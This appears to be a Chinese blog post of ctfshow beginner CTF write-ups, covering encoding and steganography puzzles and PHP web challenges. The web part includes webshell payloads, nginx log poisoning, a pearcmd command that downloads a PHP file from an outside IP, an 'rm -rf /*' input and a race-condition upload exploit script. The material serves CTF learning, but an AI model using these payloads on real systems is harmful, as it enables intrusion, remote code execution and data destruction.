ctfshow萌新題集

記錄一下前半部分是能自己寫出來的,后半部分是需要提示的,感覺自己歸來兩年仍是萌新


misc部分

知識點

base家族密文特征

  1. Base16 (Hex)
  • 字符集:0-9, A-F(不區分大小寫)。
  • 特征:
    • 長度是 2 的倍數(每字節對應 2 個字符)。
    • 無填充字符。
    • 示例:48656C6C6F("Hello")。

  1. Base32
  • 標準字符集:A-Z, 2-7(RFC 4648)。
  • 特征:
    • 長度通常是 8 的倍數(填充符 = 補全)。
    • 忽略大小寫(部分變種如 Crockford's Base32 允許小寫)。
    • 示例:JBSWY3DP("Hello")或 JBSWY3DPEBLW64TMMQ======(帶填充)。

變種:

  • Base32Hex:使用 0-9, A-V(無填充)。
  • Crockford's Base32:允許小寫,去除 I,L,O,U 避免混淆。

  1. Base64
  • 標準字符集:A-Z, a-z, 0-9, +, /(填充符 =)。
  • 特征:
    • 長度是 4 的倍數(不足時用 = 填充)。
    • 常見于加密數據、圖片編碼(如 data:image/png;base64,...)。
    • 示例:SGVsbG8=("Hello")。

變種:

  • URL-safe Base64:替換 +/-_,省略填充。
  • MIME Base64:允許換行符。

  1. Base85 (Ascii85)
  • 字符集:!-u(ASCII 33-117)。
  • 特征:
    • 長度可變,通常以 ~> 結尾(Adobe 變種)。
    • 無固定填充,可能包含空格或換行。
    • 示例:<~87cURDZ~>("Hello")。

變種:

  • Z85:用于 ZeroMQ,字符集為 0-9, a-z, A-Z, ., -, :, +, =, ^, !, /, *, ?, &, <, >, (, ), [, ], {, }, @, %, $, #

  1. Base58
  • 字符集:去除了易混淆字符(如 0, O, I, l, +, /)。
  • 特征:
    • 無填充,長度可變。
    • 用于比特幣地址(1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa)。
    • 示例:JxF12TrwUP45BMd

  1. Base91
  • 字符集:A-Z, a-z, 0-9, !, #, $, %, &, (, ), *, +, ,, ., /, :, ;, <, =, >, ?, @, [, ], ^, _, , {, |, }, ~`。
  • 特征:
    • 高編碼效率(比 Base64 更緊湊)。
    • 示例:fPNKd("Hello")。

  1. Base62
  • 字符集:0-9, A-Z, a-z(無符號)。
  • 特征:
    • 用于短鏈接生成(如 aBcD12)。
    • 無填充,長度可變。

通用識別技巧

  1. 觀察字符集:根據字符范圍初步判斷類型。
  2. 檢查填充符:= 常見于 Base64/Base32。
  3. 長度規律:Base64 長度是 4 的倍數,Base32 是 8 的倍數。
  4. 特殊標記:Base85 可能以 <~ ~> 包裹,Base58 用于加密貨幣地址。

HTML實體編碼特點

  • 格式:&實體名;&#實體編號;(十進制/十六進制)。

字符

實體名

十進制

十六進制

<

&lt;

&#60;

&#x3C;

>

&gt;

&#62;

&#x3E;

&

&amp;

&#38;

&#x26;

"

&quot;

&#34;

&#x22;

空格

&nbsp;

&#160;

&#xA0;

?

&copy;

&#169;

&#xA9;

jphs使用指南(文件加解密)

  • 使用對象:JPEG文件
  • 介紹:對有損壓縮JPEG文件進行信息的加密隱藏,探測提取的工具
  • 功能:
    • JPHIDE:將信息文件加密隱藏到JPEG圖像

(點擊hide,輸入兩次相同密碼,再選擇要隱藏的文件)

    • JPSEEK:從用JPHIDE程序加密隱藏得到的JPEG圖像中探測并提取到信息文件

(同理,輸入密碼,提取信息文件)

解題

太簡單的就不寫了

萌新_密碼1

這里用隨波逐流解密工具先base混合解碼,再柵欄解碼就行了

base混合解碼得到:KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8}

柵欄解碼得到:KEY{dffb06a33eeeb0d259c84bd8cf146d08-}

萌新 密碼3

這種一看就是摩斯加密了

摩斯解密得到:MORSE_IS_COOL_BUT_BACON_IS_COOLER_MMDDMDMDMMMDDD MDMDDM MMMMM MDDMDM MDDM

這里給出提示要培根解密得到:guowang

記得記得記得大寫

萌新 隱寫2

這是一道zip的加密題

本來記得自己寫過這種題目的筆記的,突然發現自已應該是不小心把存著這個的數據庫刪了,我咔吧一下哭出來

廢話不多說,先判斷一下是不是偽加密

兩個紅框里的分別是數據區和目錄區的全局方式位標記,第一個判斷是否加密,第二個判斷是否偽加密,都由四個數字中的第個數字決定(奇數表示加密,偶數表示未加密

這里應該是真加密了的,所以看看有沒有其他信息猜測密碼,不然就嘗試爆破

這里密碼我用ARCHPR這個工具爆破出來了,輸入密碼解壓得到flag{brute_force}

雜項7

圖片寬高改寫

  1. 直接把高度稍微改大一點
  2. 爆破
# 使用python3爆破png圖片的寬高數據
import os
import binascii
import structfor i in range(30000):  # 一般 20000就夠wide = struct.pack('>i', i)for j in range(30000):high = struct.pack('>i', j)data = b'\x49\x48\x44\x52' + wide + high + b'\x08\x06\x00\x00\x00'# 因為是 Py3,byte和str型不能直接進行運算,要寫把 str寫 b'...'。不然把 wide和 high寫成 str(...)crc32 = binascii.crc32(data) & 0xffffffffif crc32 == 0x889C2F07:  # 0x889C2F07是這個 png文件頭的 CRC校驗碼,在 21~25byte處print('\n\n', i, j, crc32)  # 0x 后的數字為十六進制中crc位置的代碼(winhex左016,13-下一行的0)print(type(data))exit(0)print(i, end=' ')print(hex(1080),",",hex(958))

得到

轉換成16進制,填入hex

隱寫1

點擊下載鏈接發現不能自動下載,這里的點在于ctr+s自動下載,然后查看hex頭發現被更改了,改回來就行了

萌新隱寫5

?娀圀??娀娀?一?儀圀?堀??一??嘀?夀吀嘀???圀??吀???刀???勻?????????

給了一串神秘字符,其實最后的重復字符就很像base的=填充字符了

import base64
import binascii
text = "?娀圀??娀娀?一?儀圀?堀??一??嘀?夀吀嘀???圀??吀???刀???勻?????????"
# 嘗試轉換為原始字節
bytes_data = text.encode('utf-16-be')  # 或 utf-32-be
base64_str = base64.b64encode(bytes_data).decode('ascii')
print(base64_str)

得到

TQBaAFcARwBDAFoAWgBJAE4AQgBRAFcANgBYADMASwBOAEYAMgBWADYAWQBUAFYATAA1ADQAVwA2ADMAVABIAEwANQBSAEQARwBNAFMANwBGAEUAPQA9AD0APQA9AD0A

再兩次base64解碼得到flag

這道題我借助ai倒是解得很順暢

萌新隱寫6

音頻隱寫,用audacity看發現摩斯密碼解碼就行了

看wp

萌新 密碼#4

這里給出了一串密文QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==

又提示比base64大的base

然后發現解密出來的都是一串亂碼,然后我就有點沒招了

看wp之后發現base64解密出來的Ao(mgHX^E)ARAnTF(J]f@&lt;6".,竟然是有用的,不是亂碼

包含 HTML 實體編碼(&lt; 代表 <)。

把html解碼得到Ao(mgHX^E)ARAnTF(J]f@<6",然后再base85解碼,得到flag{base_base_base}

總結就是還是要熟悉各個密文的特征。這個html編碼確實挺少見的

雜項10

就給了這個,我猜到要瞇眼看了,但是我沒看出來,太抽象了,一點都沒想到是中文,答案是我好喜歡你

雜項11

嘗試了很多發現都不對,發現他給了一個jphs的工具

用jphs打開圖片之后,選擇seek選項并什么都不填,會生成一個二維碼,對二維碼解碼就行了

jphs使用指南附上

萌新_密碼2

rdcvbg 2qase3 6tghu7

鍵盤上這些字母圈起來的位置,這種題之前好像見過,但這次又沒想到

web部分

知識點

php繞過

部分對php的版本有要求,具體情況具體分析

 "1000 || 1=1"  //
~~1000//兩次取反
0b1111101000//二進制
0x3e8//十六進制
這里主要是繞preg_match()和intval()

MD5 比較繞過

  • 0e 開頭哈希:0e215962017 == 0
  • 數組繞過:md5(array()) == null

strcmp 繞過

  • 數組繞過:strcmp($pass, array()) == null

is_numeric 繞過

  • 十六進制:0xdeadbeef
  • 科學計數法:1e10

PHP執行系統外命令函數

exec()
function exec(string $command,array[optional] $output,int[optional] $return_value)

exec 執行系統外部命令時不會輸出結果,而是返回結果的最后一行,如果你想得到結果你可以使用第二個參數,讓其輸出到指定的數組,此數組一個記錄代表輸出的一行,即如果輸出結果有20行,則這個數組就有20條記錄,所以如果你需要反復輸出調用不同系統外部命令的結果,你最好在輸出每一條系統外部命令結果時清空這個數組,以防混亂。第三個參數用來取得命令執行的狀態碼,通常執行成功都是返回0.

passthru()
function passthru(string $command,int[optional] $return_value)

passthru與system的區別,passthru直接將結果輸出到瀏覽器,不需要使用 echo 或 return 來查看結果,不返回任何值,且其可以輸出二進制,比如圖像數據

system()
function system(string $command,int[optional] $return_value)

system和exec的區別在于system在執行系統外部命令時,直接將結果輸出到瀏覽器,不需要使用 echo 或 return 來查看結果,如果執行命令成功則返回true,否則返回false。第二個參數與exec第三個參數含義一樣。

shell_exec()

shell_exec() 函數實際上僅是反撇號 (`) 操作符的變體

<?phpecho `pwd`;
?>

php文件執行繞過

?c=passthru('tac c*')?>
?c=echo $flag?>
?c=echo $_POST[a];       a= cat config.php 

web1-7

都是同類型題目,一步步進階

按照要求根據上面的知識點說明的方法進行繞過就行

<?php
# 包含數據庫連接文件
include("config.php");
# 判斷get提交的參數id是否存在
if(isset($_GET['id'])){$id = $_GET['id'];if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){die("id error");}# 判斷id的值是否大于999if(intval($id) > 999){# id 大于 999 直接退出并返回錯誤die("id error");}else{# id 小于 999 拼接sql語句$sql = "select * from article where id = $id order by id limit 1 ";echo "執行的sql為:$sql<br>";# 執行sql 語句$result = $conn->query($sql);# 判斷有沒有查詢結果if ($result->num_rows > 0) {# 如果有結果,獲取結果對象的值$rowwhile($row = $result->fetch_assoc()) {echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";}}# 關閉數據庫連接$conn->close();}}else{highlight_file(__FILE__);
}?>

web9

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){$c = $_GET['c'];if(preg_match("/system|exec|highlight/i",$c)){eval($c);}else{die("cmd error");}
}else{highlight_file(__FILE__);
}
?>

ls查看目錄結構,再cat或者

?c=system("tac config.php ");

?c=system("cat config.php ");,再打開控制臺

?c=highlight_file('config.php');

看wp

web8

<?php
# 包含數據庫連接文件,key flag 也在里面定義
include("config.php");
# 判斷get提交的參數id是否存在
if(isset($_GET['flag'])){if(isset($_GET['flag'])){$f = $_GET['flag'];if($key===$f){echo $flag;}}
}else{highlight_file(__FILE__);
}?> 

?flag=rm -rf /*

直接刪庫啊

web17

發現中間件為nginx/1.20.1,他的日志目錄為 /var/log/nginx/access.log

傳參?c=/var/log/nginx/access.log,并寫入一句話木馬<?php @eval($_POST['cmd']); ?>

用蟻劍訪問url+?c=/var/log/nginx/access.log,同時記得把https的s去掉,訪問目錄找到flag。

web22

遠程文件下載

?c=pearcmd&+download+http://47.111.94.227/1.php

<?php echo "<?php system('ls');?>";?>

<?php echo "<?php system('tac 36d.php');?>";?>

獲得百分之百的快樂

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){echo shell_exec($_GET[1]);
}
else{echo "hack!!!";
}
?> 

輸入限制得很短,

payload

?1=ls //查看目錄,發現文件名很長

?1=>nl //創建一個名為 nl 的文件, >file 表示創建一個空文件

?1=* //* 是通配符,以當前路徑下第一個文件名作為命令執行,這里會輸出第一個文件內容

原理

直接 ?1=* 可能無效:因為普通文件無法被 Shell 直接執行。利用nl讀取文件內容

web23

文件上傳條件競爭,腳本爆破

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){echo "uploads/$new_filename";sleep(1);system("rm -rf ./uploads/*.php");
}
import requests, time, threadingsubaddr = "http://b173724d-6ebb-45dc-b62e-57351e9766fa.challenge.ctf.show/"def newThread(fun, *args):return threading.Thread(target=fun, args=args)def execphp(fname):r = requests.get(subaddr + "uploads/" + fname + ".php")x = r.textif len(x) > 0 and "404 Not Found" not in x and "容器已過期" not in x:print(x)def check(fname):for i in range(100, 400):# 每個文件名單起一個線程newThread(execphp, fname + str(i)).start()def upload():while True:file_data = {'file': ('anything.php', "<?php system(\"ls -l ../\");?>".encode())}r = requests.post(subaddr + "upload.php", files=file_data)txt = r.textprint("uploaded:", txt)# uploaded: uploads/20230206234351533.php# 用本次的文件名推算下一次的文件名,相差sleep一次的時間間隔fname = str(int(txt[8:22]) + 1)# 單起一個線程,爆破下一次upload的文件名 uploaded: uploads/20220818222707124.phpnewThread(check, fname).start()if __name__ == '__main__':upload()
  • 上傳Webshell:向目標服務器的upload.php接口上傳一個包含PHP代碼的文件。
  • 爆破文件名:由于上傳后的文件名可能基于時間戳生成,腳本通過時間推算和并發請求來猜測文件名。
  • 執行命令:訪問上傳成功的Webshell,執行系統命令并輸出結果。

發現/flaghere0.txt文件,訪問得到flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/88739.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/88739.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/88739.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2025年語言處理、大數據與人機交互國際會議(DHCI 2025)

&#x1f310;&#x1f916;&#x1f9e0; 語言處理、大數據與人機交互&#xff1a;探索智能未來 —— DHCI 2025國際會議2025年語言處理、大數據與人機交互國際會議&#xff08;DHCI 2025&#xff09; 將于2025年在中國重慶市召開。這次盛會將匯聚全球頂尖專家、學者及行業領袖…

RIP實驗以及核心原理

RIP&#xff08;Routing Information Protocol&#xff0c;路由信息協議&#xff09;是一種內部網關協議&#xff0c;基于距離矢量算法&#xff0c;用于在自治系統內交換路由信息。RIP 核心原理距離矢量算法&#xff1a;RIP 使用跳數作為路徑選擇的唯一度量標準。每經過一個路由…

基于大數據的電力系統故障診斷技術研究

摘要本文提出了一種創新性的基于大數據技術的電力系統故障診斷方法&#xff0c;該方法通過整合先進的機器學習算法和交互式可視化技術&#xff0c;實現了對電力系統各類故障的智能化識別與深度分析。該系統采用隨機森林算法作為核心分類器&#xff0c;構建了高精度的故障分類模…

MySQL 分區功能應用專門實現全方位詳解與示例

MySQL 分區功能允許將表的數據分散存儲在不同的物理分區中,同時保持邏輯上的單一表結構。下面我將從基礎概念到高級應用,全面講解 MySQL 分區實現。 一、分區核心作用 1. 性能提升 分區剪枝(Partition Pruning):查詢時自動跳過不相關的分區,減少數據掃描量 并行處理:不…

汽車功能安全-嵌入式軟件測試(軟件合格性測試)【目的、驗證輸入、集成驗證要求】11

文章目錄1 嵌入式軟件測試&#xff08;Testing of the embedded Software&#xff09;2 測試輸入3 驗證要求和建議3.1 測試環境3.2 測試方法3.2.1 基于需求的測試3.2.2 故障注入測試3.2.3 兩種方法的區別與聯系總結3.3 測試用例導出方法4 嵌入式軟件的測試結果評價5 測試輸出物…

【webrtc】gcc當前可用碼率1:怎么決策的

【webrtc】當前最大碼率是怎么決策的1 看日志,跟蹤代碼最大碼率 是probe的上限 默認值很大 外部設置的較小,調用堆棧 無限大作為默認值 默認是無限大,所以使用預設值 【webrtc】碼率設定中的 int64_t 的無限大

UE5 C++計時器

UE5 C計時器 計時器一&#xff1a; .h文件 FTimerHandle TimerHandle_BetweenShot;//定義時間句柄 void StartFire();void EndFire();.cpp文件 #include “TimerManager.h” void ASpaceShip::StartFire() {GetWorldTimerManager().SetTimer(TimerHandle_BetweenShot, this, &a…

【hivesql 已知維度父子關系加工層級表】

這里寫自定義目錄標題1. 維度表示例1.1清單表1.2層級表2.從清單表加工層級表2.1 注意點2.2 加工方式&#xff08;join&#xff09;2.3 使用函數3.清單表字段加工3.1通過上級編碼信息加工級別信息3.2 通過級別信息&#xff0c;加工上級編碼信息4.創建維度表的一般注意點1. 維度表…

Ubuntu重裝系統后ssh連接不上(遇到 ??“Unit ssh.service not found“?? 錯誤)

重裝系統時不知道為什么SSH 服務未安裝&#xff0c;以下是解決方案&#xff1a;先檢查ssh服務安裝沒安裝 sudo systemctl status ssh # Ubuntu/Debian如果 systemctl 找不到服務&#xff0c;可能是 SSH 未安裝&#xff1a;sudo apt update sudo apt install openssh-serve…

2025社交電商新風口:推客小程序的商業邏輯與技術實現

一、推客小程序市場前景與商業價值在當今社交電商蓬勃發展的時代&#xff0c;推客小程序已成為連接商家與消費者的重要橋梁。推客模式結合了社交傳播與電商變現的雙重優勢&#xff0c;通過用戶自發分享帶來裂變式增長&#xff0c;為商家創造了全新的營銷渠道。推客小程序的核心…

Go 單元測試進階:AI 加持下的高效實踐與避坑指南

單元測試的必要性與基礎單元測試不僅是保障代碼質量的手段&#xff0c;也是優秀的設計工具和文檔形式&#xff0c;對軟件開發具有重要意義。另一種形式的文檔&#xff1a;好的單元測試是一種活文檔&#xff0c;能清晰展示代碼單元的預期用途和行為&#xff0c;有時比注釋更有用…

VScode SSH遠程連接Ubuntu(通過SSH密鑰對的方式)

我們都知道在VScode上通過SSH插件的方式可以遠程連接到虛擬機的Ubuntu系統&#xff0c;這樣開發者就可以在Windows下的Vscode編譯器下直接遠程連接Ubuntu&#xff0c;這種方式是 “用 Windows 的便捷性操作 Linux 的專業性”—— 既保留了Windows系統的易用性和VS Code的強大功…

學術繪圖(各種神經網絡)

23種神經網絡設計&可視化工具匯總 下面做簡要羅列&#xff0c;具體請看相關鏈接 1.draw_convnet Github: https://github.com/gwding/draw_convnet? star 數量&#xff1a;1.7k? 這個工具最后一次更新是2018年的時候&#xff0c;一個Python腳本來繪制卷積神經網絡的工…

Redis的高可用性與集群架構

Redis的高可用性與集群架構 引言&#xff1a;解釋高可用性的重要性及Redis如何實現主從復制&#xff08;Replication&#xff09; 原理&#xff1a;異步復制&#xff0c;主從數據同步配置方法優缺點分析 哨兵模式&#xff08;Sentinel&#xff09; 功能&#xff1a;監控、通知、…

TCP的連接

TCP 三次握手過程是怎樣的&#xff1f;TCP 是面向連接的協議&#xff0c;所以使用 TCP 前必須先建立連接&#xff0c;而建立連接是通過三次握手來進行的。三次握手的過程如下圖&#xff1a;一開始&#xff0c;客戶端和服務端都處于 CLOSE 狀態。先是服務端主動監聽某個端口&…

Excel的學習

一、熟悉界面 1.功能區 點擊“視圖”,點擊凍結窗格,選擇目標行 2.表格區 3.自定義功能區 在上面的空白編輯欄處,右鍵選擇自定義功能區 4.數據輸入規范 (1)格式不統一(日期格式不規范,姓名亂加空格,亂合并單元格) 姓名對齊:右鍵選擇編輯單元格格式,選擇對齊,…

論文閱讀:HybridTrack: A Hybrid Approach for Robust Multi-Object Tracking

論文地址:2501.01275v2 代碼地址:GitHub - leandro-svg/HybridTrack: [RA-L25/ICRA26] HybridTrack: A Hybrid Approach for Robust Multi-Object Tracking 前言 多目標跟蹤旨在在幀間檢測和關聯所有所需的目標。大多數方法通過明確或隱式地利用強大的線索(即空間和外觀信…

EtherCAT開源主站 SOEM 2.0 最新源碼在嵌入式 Linux 下的移植與編譯

EtherCAT 作為工業自動化領域的主流現場總線協議&#xff0c;因其高實時性和高帶寬被廣泛應用。而 SOEM&#xff08;Simple Open EtherCAT Master&#xff09;則是開源社區中最受歡迎的 EtherCAT 主站協議棧之一。本文將以 SOEM 2.0 最新源碼為例&#xff0c;詳細介紹其在嵌入式…

面試150 填充每個節點的下一個右側節點指針Ⅱ

思路 采用層序遍歷的方式來連接二叉樹中同一層的節點。首先將根節點加入隊列&#xff0c;然后按層處理節點&#xff1a;每一層依次從隊列中取出節點&#xff0c;并將其 next 指針指向該層中的下一個節點&#xff08;即隊列中的下一個節點&#xff09;&#xff1b;若是該層最后一…